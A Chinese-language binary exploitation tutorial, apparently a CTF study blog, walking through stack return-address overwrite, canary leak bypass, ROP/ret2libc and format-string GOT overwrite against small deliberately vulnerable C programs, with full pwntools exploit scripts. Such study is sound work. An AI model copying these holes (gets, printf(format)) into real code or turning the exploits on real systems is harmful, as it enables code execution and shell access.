此前的基础知识可以看从0到1或者这篇文章https://zhuanlan.zhihu.com/p/25816426

覆写返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <unistd.h>

void shell() {
system("/bin/sh");
}
void vuln() {
char buf[10];
gets(buf);
}
int main() {
vuln();
}

使用如下指令编译

gcc stack.c -o stack -no-pie -fno-stack-protector

通过pwngdb在0x401163下断点

image-20210215220427366

发现此处存着我们的返回地址

image-20210215220648724

image-20210215220537686

我们的返回地址从0x58开始,所以需要覆盖的长度为ret_addr - (rbp-0xa),为了简化去掉前面的部分,就是0x58-(0x50-0xa) = 18

shell函数的地址为

image-20210215222345913

所以编写下攻击代码

1
2
3
4
from pwn import *
p = process('./stack')
p.sendline('a'*18 + p64(0x401132).decode('unicode_escape'))
p.interactive()

Canary绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <unistd.h>

void shell () {
system("/bin/sh");
}

void vuln() {
char buf[10];
puts("INPUT 1:");
read(0, buf, 100);
puts(buf);
puts("input 2:");
fgets(buf, 0x100, stdin);
}

int main() {
vuln();
}

使用如下命令开启Canary保护

gcc canary.c -o canary -no-pie -fstack-protector-all

canary的主要作用是放置一段字符在函数ret之前,在ret时候检查这段字符,如果被修改了就退出。

观察到vuln函数里面

image-20210222210149483

在rbp-0x8的地方放置了代码,可以将输入的字符串连接到canary前面,来泄露出canary

image-20210222210720539

可以看到,canary的距离是0x12-0x8=10,所以输入10个a

image-20210223014225976

能看到有8位的canary,不过最后一位是00不是0a(但内存中是这样,我也不太懂),canary过后还有8位的padding,再覆盖掉返回地址即可

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process('./canary')
p.recv()
p.sendline('a'*10)
p.recvuntil('a'*10+'\n')
canary = b'\x00' + p.recv(7)
print('Ca:',canary)
shell_addr = 0x401162
p.sendline('a'*10 + canary.decode('unicode_escape') + 'a'*8 + p64(shell_addr).decode('unicode_escape'))
print(p64(shell_addr).decode('unicode_escape'))
p.interactive()

ROP

本题开始为python2的代码,python3由于字符默认unicode编码,进行连接时要加上.decode(‘unicode_escape’),python2则不需要。

在没有shell函数,并且缓冲区无法执行的时候,需要用rop手段来执行,所谓gadget,就是以ret结尾的语句,如:pop rdi; ret;这样的汇编代码,还可以通过ret2libc,也就是使用libc中的/bin/sh来get shell,而调用语句可以使用system或者syscall。

工具可以使用ROPgadget或者Ropper。

看一个例子

1
2
3
4
5
6
7
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[10];
puts("hello\n");
gets(buf);
}

gcc rop.c -o rop -no-pie -fno-stack-protector

使用ROPgadget得到如下的gadget,然而没有能够执行系统调用的gadget,所以要使用libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
(base)  ⚡ root@kali  ~/CTF/pwn  ROPgadget --binary rop
Gadgets information
============================================================
0x0000000000401079 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000401151 : add al, ch ; jmp 0xffffffffb9401156
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040114f : add byte ptr [rax], al ; add al, ch ; jmp 0xffffffffb9401156
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401158 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401128 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
0x0000000000401159 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401078 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040115a : add byte ptr [rax], al ; leave ; ret
0x000000000040112a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040107e : add byte ptr [rax], al ; ret
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040107d : add byte ptr [rax], r8b ; ret
0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040115b : add cl, cl ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401118 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401010 : call rax
0x00000000004010a8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret
0x00000000004011a4 : fisttp word ptr [rax - 0x7d] ; ret
0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040107a : hlt ; nop dword ptr [rax + rax] ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401130 : jmp 0x4010c0
0x0000000000401153 : jmp 0xffffffffb9401156
0x00000000004010ac : jmp rax
0x000000000040115c : leave ; ret
0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret
0x0000000000401157 : mov eax, 0 ; leave ; ret
0x00000000004010a7 : mov edi, 0x404038 ; jmp rax
0x00000000004010af : nop ; ret
0x000000000040107b : nop dword ptr [rax + rax] ; ret
0x000000000040112c : nop dword ptr [rax] ; jmp 0x4010c0
0x00000000004011bd : nop dword ptr [rax] ; ret
0x00000000004010a6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x00000000004011b4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b8 : pop r14 ; pop r15 ; ret
0x00000000004011ba : pop r15 ; ret
0x00000000004011b3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011b7 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401119 : pop rbp ; ret
0x00000000004011bb : pop rdi ; ret
0x00000000004011b9 : pop rsi ; pop r15 ; ret
0x00000000004011b5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401016 : ret
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011c5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011c4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404038 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404038 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

Unique gadgets found: 67

可以看到,put链接在0x404018处,所以尝试去调用puts(0x404018)

image-20210223020309153

当然了,可以使用ELF这个类,

1
2
3
4
5
pop_rdi = 0x4011bb
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p.recv()
p.sendline('a'*18 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt))

这一步能够调用的原因可以查看合天的文章

1
puts_libc = u64(p.recv(6).ljust(8, '\x00'))

https://desword.github.io/2018/11/18/linx-pwn-basic-rop/

libc可以使用elf的libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
import code

context.log_level = 'DEBUG'

p = process('./rop')
elf = ELF('./rop')


pop_rdi = 0x4011bb
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
p.recv()
# 打印出puts地址后,返回到main函数
payload1 = 'a' * 18 + ''.join(map(p64, [pop_rdi, puts_got, puts_plt, main]))
p.sendline(payload1)
# 将地址补全到8位
puts_libc = u64(p.recv(6).ljust(8, '\x00'))
print hex(puts_libc)
p.recv()

libc = elf.libc
libc_base = puts_libc - libc.symbols['puts']
# ROPgadget --binary libc文件 | grep ...
pop_rax = libc_base + 0x3ee28
pop_rdi = libc_base + 0x26796
pop_rsi = libc_base + 0x2890f
pop_rdx = libc_base + 0xcb16d
syscall = libc_base + 0x2552b
binsh = libc_base + next(libc.search('/bin/sh'))
# 59是execve的调用号
payload2 = 'a' * 18 + ''.join(map(p64, [pop_rax, 59, pop_rdi, binsh, pop_rsi, 0, pop_rdx, 0, syscall]))
p.sendline(payload2)
p.interactive()

# code.interact(local=locals())

格式化字符串漏洞

https://blog.csdn.net/qq_43394612/article/details/84900668

在printf函数中,由于格式化字符串有%n这种神奇的东西,可以实现内存写和读,从而成为可攻击的漏洞点。

首先了解下"%X$p"这个格式化字符串,p是void型指针,如果printf(“%p”, 0x400000)则可以打印0x400000处的内存,X$中的X是整数,就是读第X个位置处的参数

%n可以将已经成功输出的字符个数写入对应的整型指针参数所指的变量,可以通过"$Yc%X$n"进行任意内存写

写不同长度大小

1
2
3
4
5
6
7
8
9
10
11
12
char c;
short s;
int i;
long l;
long long ll;

printf("%s %hhn\n", str, &c); // 写入单字节
printf("%s %hn\n", str, &s); // 写入双字节
printf("%s %n\n", str, &i); // 写入4字节
printf("%s %ln\n", str, &l); // 写入8字节
printf("%s %lln\n", str, &ll); // 写入16字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while (1) {
char format[100];
puts("input: ");
read(0, format, 100);
printf("hello ");
printf(format);
}
return 0;
}

使用gcc fsb.c -o fsb -fstack-protector-all -pie -fPIE -z lazy编译

在call printf的时候断点,发现libc_main为0xf - 0 + 6 = 21(这里+6是因为前6个参数在寄存器里,第7个起才在栈上面),_start为17,所以可以构造%17$p%21$p来泄露这两个函数的地址(由于有地址随机化,所以要找到程序基地址和libc基地址)

image-20210224042025919

然鹅,还要达到任意地址写,就是之前提到的%n

可以参考这篇https://www.cnblogs.com/Samforrest/p/13496570.html

image-20210224130543301

然后就可以快乐地攥写exp了

不过由于一次写入数据量大,所以要分三次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

# context.log_level = 'DEBUG'

p = process('./fsb')
elf = ELF('./fsb')
libc = elf.libc

p.recv()
# 获取地址
p.sendline('%17$p%21$p')
p.recvuntil('hello ')
addr = p.recvuntil('\n')
print addr
_start, libc_main = int(addr[:14], 16), int(addr[14:], 16)
elf_base = _start - elf.symbols['_start']

libc_base = libc_main - libc.symbols['__libc_start_main'] - 0xea
print hex(elf_base), hex(libc_base)
system = libc_base + libc.symbols['system']
# 将system分为3个2字节写入
ch0 = system&0xffff
ch1 = (((system >> 16) & 0xffff) - ch0) & 0xffff
ch2 = (((system >> 32) & 0xffff) - ch1 - ch0) & 0xffff
print hex(system), (map(hex, [ch0, ch1, ch2]))

payload = ''
payload += '%' + str(ch0) + "c%12$hn"
payload += '%' + str(ch1) + "c%13$hn"
payload += '%' + str(ch2) + "c%14$hn"

payload = payload.ljust(48, 'a')
printf_got = elf_base + elf.got['printf']
print 'printf_got: ', hex(printf_got)

payload += p64(printf_got)
payload += p64(printf_got + 2)
payload += p64(printf_got + 4)
print 'payload: \n' + payload
p.sendline(payload)

p.recv()
# 此时printf已经是system函数了
p.sendline('/bin/sh\x00')
p.interactive()